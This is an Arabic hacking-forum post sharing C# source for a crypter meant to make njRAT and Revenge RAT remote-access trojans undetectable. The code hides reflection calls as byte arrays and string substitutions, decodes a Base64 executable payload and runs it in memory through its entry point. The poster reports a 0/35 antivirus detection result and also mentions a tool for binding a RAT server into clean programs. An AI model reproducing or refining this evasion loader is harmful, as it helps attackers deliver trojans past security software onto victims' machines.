24.12.2017 تشفير انجي رات-ريفينج رات- كلين 0/35 + نقطة الادخال تتخطى النود وغيره By Mr.LOAI


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
حياكم الله ياشباب
الاخ لؤي
Mr.LOAI
علمني هنا
# Ver.02 # برنامج دمج كلين [ ادمج سيرفرك مع اي برنامج كلين ]
كيف اقوم بتمويه او تشفير او اخفاء "سميها البتحب" التحويل من بايت اراي الى سترينج
لااخفيكم انك ان كتبت
System.Text.Encoding.ASCII.GetString
الحمايات ماعندها مشكلة بجلب سترينج من بايت اراي بالشكل العادي
وانا كنت اقصى شي موصله انني اسويها بالشكل هذا
C#:
static string Bs(byte[] bashar)         {           return (string)LateBinding.LateGet(System.Text.Encoding.ASCII, null, "123456789".Replace("1", "G").Replace("2", "e")          .Replace("3", "t").Replace("4", "S").Replace("5", "t").Replace("6", "r").Replace("7", "i").Replace("8", "n")          .Replace("9", "g"), new object[] { bashar }, null, null);         }
يعني كنت مموه فقط GetString
ولكني احببت ان اقوم بطرح سورساتي مشفرة مموهة مخفية بالكامل
مش معروف اي دالة تم استخدامها بالسورس .وهذا ماتم من خلال تعليم الاخ لؤي لي
كان ناقصني تحويل الفانكشن اللي بسويها الى اقصى شكل يمكن اخفائها فيه
لذلك الشكر له والموضوع باسمه كشكر مني له على مساعدته لي الدائمة
اللي عملته انا انني حولت السترينج الخاص بقيم البيس 64 الى بايت اراي
انتبه ماحولت من بيس64 الى بايت اراي ..لا
حولت السترينج الخاص بالبيس64 الى بايت اراي
ومن ثم جلبتهم مرة اخرى ك سترينج من خلال الفانكشن اللي حكينا عنها
وحولتهم بعدها من بيس64 الى بايت اراي وشغلتهم بنقطة الادخال اللي
مامبين منها شي امامكم :15:
ناتج الفحص 0/35
Results | Metadefender.com
السورس هنا





هنا الموقع اللي رح تحتاجه عشان يحسبلك طول السترينج
الخاص بقيم البيس64 لديك
Calculate String Length Online
C#:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
 
namespace WindowsFormsApp52
{
    static class Program
    {
 
        [STAThread]
        static void Main()
        {
            Interaction.CallByName(Interaction.CallByName(Type.GetType(Bs(new byte[]
   { 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 65, 115, 115, 101, 109, 98, 108, 121}
,0,26))?.GetMethod(Bs(new byte[] { 76, 111, 97, 100 },0,4),
new[] { typeof(byte[]) })?.Invoke(null, new object[] { ((byte[])Type.GetType(Bs(new byte[] { 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74 },0,14))?.
    GetMethod(Bs(new byte[] { 0x46, 0x72, 0x6F, 0x6D, 0x42, 0x61, 0x73, 0x65, 0x36, 0x34, 0x53, 0x74,0x72, 0x69, 0x6E, 0x67 },0,16)
    , new[] { typeof(string) })?. Invoke(null, new object[] { Bs(new byte[] { 0x54, 0x56, 0x71, 0x51, 0x41, 0x41, 0x4D, },0,22528 ) })) }) //Base64String
?? throw new InvalidOperationException(), Bs(new byte[] { 69, 110, 116, 114, 121, 80, 111, 105, 110, 116 },0,10), CallType.Get)
                , Bs(new byte[] { 73, 110, 118, 111, 107, 101 },0,6), CallType.Method, 1266-1266, null);}
        static string Bs(byte[] bashar, int start, int end)
        {
            Type ee = Type.GetType("S"+ "y" + "s" + "t" + "e" + "m" + "." + "T" + "e" + "x" + "t" + "."
                + "A" + "S" + "C" + "I" + "I" + "E" + "n" + "c" + "o" + "d" + "i" + "n" + "g");
            Object s = Activator.CreateInstance(ee ?? throw new InvalidOperationException());
            return (string)LateBinding.LateGet(s, null, "123456789".Replace("1", "G").Replace("2", "e")
                .Replace("3", "t").Replace("4", "S").Replace("5", "t").Replace("6", "r").Replace("7", "i")
                .Replace("8", "n").Replace("9", "g"), new object[] { bashar, start, end }, null, null);
        }
    }
}
 

المرفقات